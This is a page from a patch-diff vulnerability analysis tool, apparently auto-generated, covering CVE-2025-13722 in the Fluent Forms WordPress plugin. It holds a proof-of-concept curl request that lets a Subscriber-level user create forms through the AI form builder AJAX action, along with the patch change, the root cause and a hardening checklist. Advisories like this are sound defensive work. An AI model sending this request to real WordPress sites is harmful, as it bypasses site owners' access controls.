ANALYSIS · 40fa2a91· FINISHED 2026-01-07 · PATCHDIFF

Folder Analysiscache/fluentform_6.1.7 → cache/fluentform_6.1.8✓ COMPLETED

Files22

Vulnerable18

True positives13

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-13722

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 22 CVE 1 Vuln 18

SORT

1 files · page 1/1

app/Modules/Ai/AiFormBuilder.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled KeyCWE-400: Uncontrolled Resource Consumption CVE-2025-13722 1 TP

#%!d(float64=011)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-13722

Security writeup for CVE-2025-13722

✓ 1 FILE

## The Exploit

Attacker needs any authenticated WordPress account with Subscriber-level access or higher.

```bash
curl -i -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: wordpress_logged_in_example=SUBSCRIBER_COOKIE" \
  --data "action=fluentform_ai_create_form&_wpnonce=SUBSCRIBER_NONCE&query=Create+a+contact+form+with+name+and+email&additionalQuery=Include+a+message+field"
```

The server responds with a successful AJAX JSON reply and a new Fluent Forms entry is created in WordPress. The attacker can abuse the publicly exposed `fluentform_ai_create_form` endpoint to generate arbitrary forms without having the Fluent Forms management capability.

## What the Patch Did

Before:
```php
Acl::verifyNonce();
```

After:
```php
Acl::verify('fluentform_forms_manager');
```

The patch replaced a standalone nonce validation call with a capability-based authorization check using `Acl::verify('fluentform_forms_manager')`, ensuring only users with the Fluent Forms manager capability can invoke the AI form creation AJAX action.

## Root Cause

This is an authorization bypass (CWE-639): the AJAX handler for `action=fluentform_ai_create_form` accepted authenticated requests after `Acl::verifyNonce()`, which only proves the request came from a valid session and is not CSRF. The attacker-controlled POST parameters `query` and `additionalQuery` then reached the AI form creation flow unchecked from a capability standpoint. Since any logged-in Subscriber could call the publicly exposed WordPress AJAX endpoint, the trust boundary between authenticated user and form-management capability was never enforced.

## Why It Works

The load-bearing fix is the new line `Acl::verify('fluentform_forms_manager');`. Without that line, the bug remains exploitable because the handler still allows any logged-in user past `Acl::verifyNonce()`. The added input-length checks on `query` and `additionalQuery` are defensive hardening against oversized prompts, not the actual authorization control needed to stop unauthorized form creation.

## Hardening Checklist

- Use WordPress capability checks for sensitive AJAX actions, e.g. `current_user_can('fluentform_forms_manager')` or `Acl::verify('fluentform_forms_manager')`.
- Keep CSRF protection and authorization separate: pair `check_ajax_referer()`/`Acl::verifyNonce()` with a capability check before processing the request.
- For public AJAX endpoints, validate the `action` caller with both `is_user_logged_in()` and explicit capability checks.
- Apply explicit length limits to user-supplied text fields using functions like `strlen()` before passing them to external services.
- Return failure early with `wp_send_json_error()` when authorization fails, rather than letting request processing continue.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-13722

CVE CVE-2025-13722

PRODUCT Folder Analysis

AFFECTED ≤ cache/fluentform_6.1.7

FIXED IN cache/fluentform_6.1.8

STATUS Generated

Security writeup · CVE-2025-13722

Source files · 1

app/Modules/Ai/AiFormBuilder.php Linked

↗ NVD